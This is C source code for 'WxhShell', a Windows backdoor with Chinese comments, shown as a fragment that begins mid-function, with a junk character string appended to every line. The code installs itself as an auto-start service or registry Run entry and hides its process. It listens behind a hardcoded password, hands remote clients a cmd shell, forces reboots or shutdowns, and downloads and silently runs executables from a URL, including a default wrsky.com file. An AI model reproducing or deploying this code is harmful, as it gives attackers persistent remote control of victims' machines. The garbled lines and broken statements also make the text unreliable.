    if(Boot(SHUTDOWN)) $j~oB:3n7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B) 81mcy  
    else { \I\'c.$I.Y  
    closesocket(wsh); @QAyXwp  
    ExitThread(0); 6$'6x2,  
    } aE_)iE|  
    break; u%#s_R  
    } IXSCYqoK  
  // 获取shell GMw|@?:{  
  case 's': { J-W, ^%  
    CmdShell(wsh); t `4^cd5V  
    closesocket(wsh); n9zS'VU  
    ExitThread(0); \w 6%J77  
    break; !(!BW9Zt+  
  } 6]|NB&  
  // 退出 V.IgEE]  
  case 'x': { VD \pQ.=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h>Z$ n`T  
    CloseIt(wsh); o E&Zf/  
    break; y\ nR0m  
    } C { }s  
  // 离开 4*UoTE-g$  
  case 'q': { {PM)D [$i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l|-TGjsX  
    closesocket(wsh);  X7sWu{n  
    WSACleanup(); tPS.r.0#^  
    exit(1); ksxacRA7\  
    break; `p&ko$i2  
        } Ne]/ sQ0  
  } ; y#6Nx,:  
  } 6TE R Q  
?l_>rSly5  
  // 提示信息 mu1oD;lQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b'$j* N  
} ;8~`fK  
  } XR^VRn6O  
A a2*f[  
  return; sz.(_{5!  
} blZiz2F  
(n-8p6x(  
// shell模块句柄 IbpE@C  
int CmdShell(SOCKET sock) N(?yOB4gt  
{ %iI0JF*E z  
STARTUPINFO si; Z6&s 6MF  
ZeroMemory(&si,sizeof(si)); N0c+V["s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `8F%bc54iw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZkYc9!anY  
PROCESS_INFORMATION ProcessInfo; >GiM?*cC  
char cmdline[]="cmd"; ?6    
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9p!V?cH#8  
  return 0; n=RAE^[M  
} k=[!{I  
-[#Mx}%  
// 自身启动模式 :^SpKe(7  
int StartFromService(void) ->}K-n ),  
{ DYH-5yX7  
typedef struct Z*kGWL  
{ i:WHql"Kw_  
  DWORD ExitStatus; V/+r"le  
  DWORD PebBaseAddress; a4,bP*H  
  DWORD AffinityMask; Do(7LidC5  
  DWORD BasePriority; { e2 (  
  ULONG UniqueProcessId; uNnwz%w  
  ULONG InheritedFromUniqueProcessId;  Iz2K  
}   PROCESS_BASIC_INFORMATION; ewgcpV|spn  
@2 dp5  
PROCNTQSIP NtQueryInformationProcess; asR6,k  
XJ]MPiXj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >b-rAO\{}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UD*#!H  
&a8#qv"l  
  HANDLE             hProcess; I TJ>[c]x  
  PROCESS_BASIC_INFORMATION pbi; `sN3iD!@R  
w2~(/RgO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o lNL|WJ`w  
  if(NULL == hInst ) return 0; `hS<F" j  
8N(bLGUG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bF' ~&<c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 76)(G/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j:|60hDz^  
mf@YmKbp  
  if (!NtQueryInformationProcess) return 0; -3Vx jycY  
~`hI|i<]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $BE^'5G&4Y  
  if(!hProcess) return 0;  ~u8}s4  
^lu)'z%6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AnPm5i.  
/[[zAq{OA  
  CloseHandle(hProcess); N)RWC7th{  
_OcgD<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }QncTw0  
if(hProcess==NULL) return 0; fB"3R-H?O  
S#+G?I3w  
HMODULE hMod; K4n1#]8i  
char procName[255]; &tD`~  
unsigned long cbNeeded; ?9!tMRb  
N)  {  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;lX:EU  
{<~XwJ.  
  CloseHandle(hProcess); z.Y7u3K.8  
HcHfwLin0  
if(strstr(procName,"services")) return 1; // 以服务启动 %8$JL=c  
^i-%FY_i5}  
  return 0; // 注册表启动 \9se~tAl3  
} 'A !Dg  
uA!T@>vl  
// 主模块 nB,FJJ{kb  
int StartWxhshell(LPSTR lpCmdLine) T|ZZkNP|6  
{ I2j;9Qcz  
  SOCKET wsl; #jr;.;8sQ  
BOOL val=TRUE; S97.O@V!$  
  int port=0; Z6>:k,-Ot  
  struct sockaddr_in door; )\^o<x2S  
:v{ $]wg  
  if(wscfg.ws_autoins) Install(); #TW$J/Jb  
9z'</tJ`  
port=atoi(lpCmdLine); V.Xz n  
~JLqx/[|s  
if(port<=0) port=wscfg.ws_port; cw"x0 RS  
_gC<%6#V`r  
  WSADATA data; EemKYcE@Nr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %/etoK  
_5 tw1 >  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5B2x# m|8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bHS2;K~  
  door.sin_family = AF_INET; K!I]/0L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `y YgL@Zt  
  door.sin_port = htons(port); Oku4EJFJ  
m3_e]v3{o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GeHDc[7  
closesocket(wsl); >+vWtO 2  
return 1; :1Fm~'  
} B"KsYB79t  
*$# r%  
  if(listen(wsl,2) == INVALID_SOCKET) { U"m!f*a  
closesocket(wsl); kP;:s  
return 1; (= !_ 5l  
} XZ|"7as  
  Wxhshell(wsl); n#J$=@  
  WSACleanup(); crgYr$@s?  
[b#jw,7  
return 0;  b 1[U 9  
5)$U<^uy  
} /=e[(5X|O  
M5ZWcD.1  
// 以NT服务方式启动 1v2wP2]|;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sgX}`JH?z  
{ w,}}mC)\*  
DWORD   status = 0; n"FOCcTIs  
  DWORD   specificError = 0xfffffff; g+k6pi*  
ejr"(m(Xe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cWRB=`=qz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !+hX$_RT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VpV w:Rh>  
  serviceStatus.dwWin32ExitCode     = 0; huKz["]z[  
  serviceStatus.dwServiceSpecificExitCode = 0; p*npY"}v  
  serviceStatus.dwCheckPoint       = 0; YSa:"A  
  serviceStatus.dwWaitHint       = 0; "BFW&<1  
[tD*\\IA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e/Q[%y.X  
  if (hServiceStatusHandle==0) return; 5\4>H6  
o~4n8  
status = GetLastError(); !zJ.rYZ=g`  
  if (status!=NO_ERROR) ~-:CN(U  
{ rM=Hd/ki5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {eZ j[*P  
    serviceStatus.dwCheckPoint       = 0; #[KwR\b{:+  
    serviceStatus.dwWaitHint       = 0; :X4\4B*~  
    serviceStatus.dwWin32ExitCode     = status; M9&tys[KX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ml\|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FwW%@Y  
    return; \pzvoj7{  
  } %BG5[ XQ7  
xrX("ili  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O4E2)N  
  serviceStatus.dwCheckPoint       = 0; |@ldXuYb  
  serviceStatus.dwWaitHint       = 0; w5*18L=O\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^U`q1Pg5  
} <=7)t.  
X^.r@tT  
// 处理NT服务事件,比如:启动、停止 s lI)"+6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &pba~X.u  
{ 2(c#m*Q!b  
switch(fdwControl) i@I%$!cB  
{ ix#  
case SERVICE_CONTROL_STOP: D$mrnm4d  
  serviceStatus.dwWin32ExitCode = 0; ffB]4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xK y<o  
  serviceStatus.dwCheckPoint   = 0; A&M/W'$s  
  serviceStatus.dwWaitHint     = 0; >u/yp[Ky  
  { (w^&NU'e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` q@~78`  
  } dY|jV}%T  
  return; hqds T  
case SERVICE_CONTROL_PAUSE: _ x'StD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +nZG!nP  
  break; #-f^;=7  
case SERVICE_CONTROL_CONTINUE: 5-3gsy/Mo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^7''x,I  
  break; U)PumU+z$u  
case SERVICE_CONTROL_INTERROGATE: 0Gs]>B4r/  
  break; b gD Dys  
}; 3AL.UBj&}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $I/p6  
} Grub1=6l  
qB:`tHy  
// 标准应用程序主函数 FD-)nv2:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h/k`+  
{ xD#/@E1'Y  
.iYgRW=T  
// 获取操作系统版本 @t^ 2/H ?O  
OsIsNt=GetOsVer(); <|_Ey)1 6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JQ1VCG  
>I!(CM":s$  
  // 从命令行安装 zc{C+:3$^  
  if(strpbrk(lpCmdLine,"iI")) Install(); "D/ fB%h`  
8`~]9ej  
  // 下载执行文件 4HHf3j!5  
if(wscfg.ws_downexe) { k^]~NP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;i:7E#@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ' #mC4\<W8  
} FV9RrI2  
HkN +:  
if(!OsIsNt) { Rta P+6'X  
// 如果时win9x,隐藏进程并且设置为注册表启动 p~b$+8#+  
HideProc(); w '"7~uN  
StartWxhshell(lpCmdLine); 3OZ}&[3  
} :W&\})  
else {h=Ai[|l4Q  
  if(StartFromService()) ?7+ 2i\L  
  // 以服务方式启动 p[eRK .$!  
  StartServiceCtrlDispatcher(DispatchTable); "<(~  
else vuP1gem  
  // 普通方式启动 {HU48v"W  
  StartWxhshell(lpCmdLine); 9x1Dyz 2?F  
Z4!3I@yZ  
return 0; |eqDT,4  
} r=`>'3 } x  
8B+uNN~%]  
 ?.s*)n  
cjW]Nw  
=========================================== [Wh 43Z  
8HOmWQS  
a~|ge9? (  
E$wB bm  
6p@ts`#  
%xRS9A 4  
" ^n]s}t}csV  
l rzW H0Q  
#include <stdio.h> 3{l"E(qqZ  
#include <string.h> 7ou^wt+%  
#include <windows.h> iI1t P  
#include <winsock2.h> Ame%:K!t  
#include <winsvc.h> ^:j$p,0e*S  
#include <urlmon.h> %([c4el>\F  
. <B1i  
#pragma comment (lib, "Ws2_32.lib") hTm}j,H  
#pragma comment (lib, "urlmon.lib") I}WJ0}R  
;'p'8lts  
#define MAX_USER   100 // 最大客户端连接数 On^#x]  
#define BUF_SOCK   200 // sock buffer O2e "TH3  
#define KEY_BUFF   255 // 输入 buffer y)}aySQK^  
:]s] =q&]  
#define REBOOT     0   // 重启 {JgN^R<5<f  
#define SHUTDOWN   1   // 关机 OOCeZ3yF(  
kWd'gftQ  
#define DEF_PORT   5000 // 监听端口 DbN'b(+  
Q  [{vU  
#define REG_LEN     16   // 注册表键长度 F*4+7$E0B  
#define SVC_LEN     80   // NT服务名长度 E'G>'cW;x  
=-qsz^^a-  
// 从dll定义API /HRaX!|E#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x _K%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~ #CCRUhM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J (h>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1GdD  
l_ c?q"X  
// wxhshell配置信息 lu_Gr=#O  
struct WSCFG { 5o/rV.I  
  int ws_port;         // 监听端口 Jy_'(hG  
  char ws_passstr[REG_LEN]; // 口令 d eg>m?Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no P]B#i1  
  char ws_regname[REG_LEN]; // 注册表键名 Eg*3**gTO  
  char ws_svcname[REG_LEN]; // 服务名 Z-@}~#E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !UTJ) &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >$DqG$D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P `"7m-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kR|y0V {K*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eW0=m:6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Hmo!"W`  
 B]7jg9/  
}; }U9jsm  
N6;Z\\&0^q  
// default Wxhshell configuration j,XKu5w)Oi  
struct WSCFG wscfg={DEF_PORT, {rZ"cUm  
    "xuhuanlingzhe", WIm7p1U#V  
    1, +QX>:z  
    "Wxhshell", I8?[@kg5b'  
    "Wxhshell", @nu/0+8h{  
            "WxhShell Service", TXcKuo=  
    "Wrsky Windows CmdShell Service", l'QR2r7&.  
    "Please Input Your Password: ", TeJ `sJ  
  1,  iC]lO  
  "http://www.wrsky.com/wxhshell.exe", w>u Z$/  
  "Wxhshell.exe" OX4D'  
    }; )*ckJK  
=]e^8;e9  
// 消息定义模块 +pvJ?"J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M>@R=f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W1 Qc1T8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >nQ yF  
char *msg_ws_ext="\n\rExit."; {M/c!  
char *msg_ws_end="\n\rQuit."; E,7~kd~y`  
char *msg_ws_boot="\n\rReboot..."; l{9h8]^  
char *msg_ws_poff="\n\rShutdown..."; )_cv}.xe  
char *msg_ws_down="\n\rSave to "; @ WaYU  
K*$#D1hG  
char *msg_ws_err="\n\rErr!"; <q\) o_tH  
char *msg_ws_ok="\n\rOK!"; $0T"YC%  
2(Uz9!<V  
char ExeFile[MAX_PATH]; 2 -aYqMmT;  
int nUser = 0; sv"mba.J  
HANDLE handles[MAX_USER]; M%xL K7  
int OsIsNt; 8F`  
*K'ej4"u  
SERVICE_STATUS       serviceStatus; P*`xiTA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /Ph&:n\4  
.E#Sm?gK  
// 函数声明 5Q`n6x|  
int Install(void); (JW?azU  
int Uninstall(void); -P>=WZu  
int DownloadFile(char *sURL, SOCKET wsh); :-La $I>  
int Boot(int flag); 4rG 7\  
void HideProc(void); 1m;*fs  
int GetOsVer(void); ,hLSRj{  
int Wxhshell(SOCKET wsl); V(LFH9.Mp  
void TalkWithClient(void *cs); .A)Un/k7  
int CmdShell(SOCKET sock); v`^J3A  
int StartFromService(void); UUu-(H-J  
int StartWxhshell(LPSTR lpCmdLine); *`Xx_   
}Y`<(V5:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bpa O`[*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]31XX=  
Xe;(y "pR  
// 数据结构和表定义 u3mT l  
SERVICE_TABLE_ENTRY DispatchTable[] = -WvgK"k  
{ e8mbEC(AK  
{wscfg.ws_svcname, NTServiceMain}, ^!o}>ls['  
{NULL, NULL} _`i%9Ad.4  
}; zI_GdQNfN  
@jSbMI  
// 自我安装 s}9tK(4v  
int Install(void) dqA[|bV  
{ ~h0BT(p/  
  char svExeFile[MAX_PATH]; ([b!$o<v  
  HKEY key; y*h1W4:^-  
  strcpy(svExeFile,ExeFile); #Jz&9I<OKx  
_/~ ,a  
// 如果是win9x系统,修改注册表设为自启动 +'KE T,  
if(!OsIsNt) { C_cs(}wi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cvE.r330|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LG{inhbp  
  RegCloseKey(key); 7'i#!5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6\fMzm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RS `9?c:  
  RegCloseKey(key); U!?gdX  
  return 0; 5}bZs` C  
    } D%UZ'bHN*  
  } q|i%)V`)-  
} $?J+dB  
else { igB rmaY'  
o 7W Kh=  
// 如果是NT以上系统,安装为系统服务 4:&qT Y)H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #z!Hb&Qi\  
if (schSCManager!=0) RB7AI !'a?  
{ yISQYvSN  
  SC_HANDLE schService = CreateService aT:AxYn8  
  ( Yz-JI=  
  schSCManager, Fra>|;do  
  wscfg.ws_svcname, 76A>^Bs\/  
  wscfg.ws_svcdisp, IAF;mv}'  
  SERVICE_ALL_ACCESS, Secq^#]8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xVkTRCh  
  SERVICE_AUTO_START, {XD/8m(hN|  
  SERVICE_ERROR_NORMAL, 2FIR]@MQd  
  svExeFile, FaE#\Q  
  NULL, DwmU fZp  
  NULL, w zqd g  
  NULL, 3 t88AN=4  
  NULL, 51G=RYay9  
  NULL c|}K_~l_  
  ); #3K,V8(  
  if (schService!=0) [AZ aT  
  { q@!'R{fu  
  CloseServiceHandle(schService); "WbVCT'i  
  CloseServiceHandle(schSCManager); n5+S"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -}X?2Q  
  strcat(svExeFile,wscfg.ws_svcname); G/z\^Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h!G^dW.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^@`e  
  RegCloseKey(key); .3&a{IxM]  
  return 0; o4 %Vt} K  
    }  /MqXwUbO  
  } z{pC7e5  
  CloseServiceHandle(schSCManager); A ,-V$[;~D  
} ~z K@pFeH  
} ihiuSF<NaQ  
twtkH~`"Q  
return 1; O5qW*r'  
} %x}&=zx0*1  
2zKo  
// 自我卸载 1<a@p}  
int Uninstall(void) y=9Dxst"V  
{ p2x1xv  
  HKEY key; n{^<&GWox  
|O(-CDQe  
if(!OsIsNt) { t1w2u.]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UOWIiu  
  RegDeleteValue(key,wscfg.ws_regname); :'y{dbKp"  
  RegCloseKey(key); <r<Dmn|\a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j!x<QNNX  
  RegDeleteValue(key,wscfg.ws_regname); J-tq8   
  RegCloseKey(key); p:JRQT"A  
  return 0; hD6JW-  
  } R+{^@M&  
} Y@]);MyL  
} 7a:*Y"f,~  
else { 4@v1jJj  
z|3`0eWIG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !@pV)RUv7  
if (schSCManager!=0) <mZrR3v'D  
{ Dd0Qp-:2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AhvvuN$n%  
  if (schService!=0) lk_s!<ni  
  { X'FEOF  
  if(DeleteService(schService)!=0) { .]j#y9>&w%  
  CloseServiceHandle(schService); 7|QGY7Tf  
  CloseServiceHandle(schSCManager); 5#0A`QO   
  return 0; ]-um\A4f  
  } 3w/( /|0  
  CloseServiceHandle(schService); crd|2bjp+  
  } _Z+jQFKJ\8  
  CloseServiceHandle(schSCManager); \P l,' 1%  
} S<eZd./p6  
} }XCR+uAz  
S5~`T7Ra  
return 1; ,!6M* |  
} R:w %2Y  
MSZ!W(7,<  
// 从指定url下载文件 jCTy:q]  
int DownloadFile(char *sURL, SOCKET wsh) As@ihB+(\  
{ B2~f;zy`  
  HRESULT hr; h; 'W :P  
char seps[]= "/"; F0&~ ?2nG  
char *token; )L |tn  
char *file; bZ>&QM  
char myURL[MAX_PATH]; YH[XRUa  
char myFILE[MAX_PATH]; H]_WFiW-9  
Nush`?]J"_  
strcpy(myURL,sURL); cQT1Xi  
  token=strtok(myURL,seps); +_qh)HX  
  while(token!=NULL) ytjK++(T5  
  { H\^VqNK"  
    file=token; k> b&xM!  
  token=strtok(NULL,seps); -3.UE^W2  
  } 61/)l0 <;  
rH9uGm-*  
GetCurrentDirectory(MAX_PATH,myFILE); h?0F-6z  
strcat(myFILE, "\\"); g1ZV&X=2  
strcat(myFILE, file); Abj97S  
  send(wsh,myFILE,strlen(myFILE),0); XzT78  
send(wsh,"...",3,0); b fp,zs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ Y*h  
  if(hr==S_OK) },DyU  
return 0; bh6d./  
else [ULwzjss#L  
return 1; 8f?rEI\0GD  
m@ i2#  
} hPa n  
S8O)/Sg=  
// 系统电源模块 9>N\sOh  
int Boot(int flag) nVxq72o@  
{ $ !v}xY  
  HANDLE hToken; m!<X8d[bD  
  TOKEN_PRIVILEGES tkp; 3az$:[Und}  
4|nQ=bIau  
  if(OsIsNt) { "hWJ3pi{o{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Tcz[$?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2;:lK":  
    tkp.PrivilegeCount = 1; {Q)dU-\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^:qD.h>&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NMXnrvS&  
if(flag==REBOOT) { (cvh3',  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^J8uhV;w  
  return 0; |~SE"  
} I>{!U$  
else { {3hqp*xl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8N% z9b  
  return 0; 7p^@;@V  
} ~<n(y-P^  
  } vQUZVq5M  
  else { "2a$1Wmj(  
if(flag==REBOOT) { 0Cl,8P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <B!'3C(P  
  return 0; ##H;Yb  
} ;SgD 5Ln}  
else { m}98bw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - %|P  
  return 0; *zq.C  
} .eo~?u<j&  
} ^IBGYl5n  
"OO96F  
return 1; %JQ~!3  
} Va7c#P?  
~LbS~_\C=  
// win9x进程隐藏模块 O#Z/+\U  
void HideProc(void) gmY/STN   
{ a:A n=NA  
+0J@y1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |xh&p(  
  if ( hKernel != NULL ) Z==!C=SBv  
  { GM](=|F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s`"OM^[-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f')c/Yw  
    FreeLibrary(hKernel); jyi FM5&  
  } 1HhX/fpq  
]ni6p&b>  
return; )\wuesAO  
} abBO93f^  
#$FrFU;ZR  
// 获取操作系统版本 _#!U"hkH  
int GetOsVer(void) 7R,qDp S  
{ OUzR@$  
  OSVERSIONINFO winfo; i^*M^P3m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /s:w^ g~  
  GetVersionEx(&winfo); &|b4\uj9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )CLf;@1  
  return 1; y;nvR6)  
  else r| f-_D  
  return 0; ca(U!T68  
}  `?|Rc  
l-}KmZ]  
// 客户端句柄模块 +Q)ULnie e  
int Wxhshell(SOCKET wsl) x? N.WABr;  
{ $Jp~\_X  
  SOCKET wsh; "(,2L,Zh  
  struct sockaddr_in client; f2yq8/J8.  
  DWORD myID; 9_ZBV{   
yHNuU)Ft  
  while(nUser<MAX_USER) 7X}TB\N1  
{ ]]TqP{H  
  int nSize=sizeof(client); x vmt.>f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R,F gl2  
  if(wsh==INVALID_SOCKET) return 1; Vr/Bu4V"  
gO='A(Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WULAty  
if(handles[nUser]==0) =A@>I0(7  
  closesocket(wsh); qZ*f%L(  
else +~Tu0?{Z 0  
  nUser++; )JhT1j Qc  
  } -#.< 12M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d yh<pX/$  
:g2  }C  
  return 0; (wuaxo:  
} 7?J3ci\  
byGn,m  
// 关闭 socket qsI^oBD"  
void CloseIt(SOCKET wsh) QXVC\@  
{ j13DJ.xu  
closesocket(wsh); R>2IRvY(  
nUser--; 9 |.Ao  
ExitThread(0); BLn_u,3  
} ?59'dGnz_  
Zw{MgoJ0Z  
// 客户端请求句柄 M0L&~p_F  
void TalkWithClient(void *cs) %2"J:0j  
{ |sIr?RL{C  
8#X_#  
  SOCKET wsh=(SOCKET)cs; PLA#!$c7q  
  char pwd[SVC_LEN]; _c2WqQ-05  
  char cmd[KEY_BUFF]; `G!M>h@  
char chr[1]; j*400  
int i,j; *fnvZw?  
 $dQIs:  
  while (nUser < MAX_USER) { mR% FqaN_  
}D*yr3b  
if(wscfg.ws_passstr) { T\9~<"P^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :,S98z#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z.oU4c  
  //ZeroMemory(pwd,KEY_BUFF); .[:VSM7T  
      i=0; 8{0k0 &x  
  while(i<SVC_LEN) { W:`#% :C  
@gY\;[#.  
  // 设置超时 tY+$$GSQj  
  fd_set FdRead; hmC*^"C>U=  
  struct timeval TimeOut; lnh+a7a)  
  FD_ZERO(&FdRead); dJ ~Zr)>  
  FD_SET(wsh,&FdRead); ""% A'TZ  
  TimeOut.tv_sec=8; v.&>Ih/L  
  TimeOut.tv_usec=0; GZ3 ]N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mchJmZ{A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,LhCFw{8?~  
$t}<85YCQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sk}{E@  
  pwd=chr[0]; MS3=~*+  
  if(chr[0]==0xd || chr[0]==0xa) { "OmD@ EMT  
  pwd=0; ?o*I9[Z)  
  break; uO6{r v\  
  } a.2L*>p  
  i++; ;H'gT+t<c  
    } ;_O)p,p  
(JUZCP/\  
  // 如果是非法用户,关闭 socket `P}9i@C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }V]R+%:w@  
} b2C`g]ibQ  
M.q=p[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a5jL7a?6]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -WJ?:?'  
F$V/K&&W  
while(1) { !do?~$Og  
+B}0=Ex$t  
  ZeroMemory(cmd,KEY_BUFF); #%lo;W~IY  
YA:nOvd@O  
      // 自动支持客户端 telnet标准   !bnyJA  
  j=0; r;&>iX4B  
  while(j<KEY_BUFF) { HKDID[d0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !RW `3  
  cmd[j]=chr[0]; @? c2)0  
  if(chr[0]==0xa || chr[0]==0xd) { *L4`$@l8  
  cmd[j]=0; )h{ ]k=  
  break; QDx$==Fo  
  } )e|=mtp  
  j++; Q~{H@D`<  
    } =u[k1s?  
Wb}c=hZv  
  // 下载文件 2c5-)Dt)T  
  if(strstr(cmd,"http://")) { &;&ho+qD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n>>Qn&ym  
  if(DownloadFile(cmd,wsh)) k,yZ[n|`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9{~> 4@  
  else QXgE dsw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )wvHGecp*  
  } cy yVg!+  
  else { 6( CDNMzj  
Jg}K.1Hs  
